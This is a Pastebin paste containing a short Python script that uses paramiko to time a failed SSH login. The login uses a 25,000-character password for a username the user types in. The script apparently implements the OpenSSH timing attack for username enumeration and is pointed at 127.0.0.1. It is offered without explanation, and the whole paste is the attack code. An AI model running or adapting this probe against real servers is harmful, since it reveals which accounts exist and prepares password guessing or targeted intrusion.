Advertisement
Guest User

Untitled

a guest
Mar 4th, 2018
81
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.32 KB | None | 0 0
  1. import paramiko
  2. import time
  3. user=raw_input("user: ")
  4. p='A'*25000
  5. ssh = paramiko.SSHClient()
  6. starttime=time.clock()
  7. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  8. try:
  9. ssh.connect('127.0.0.1', username=user,
  10. password=p)
  11. except:
  12. endtime=time.clock()
  13. total=endtime-starttime
  14. print(total)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement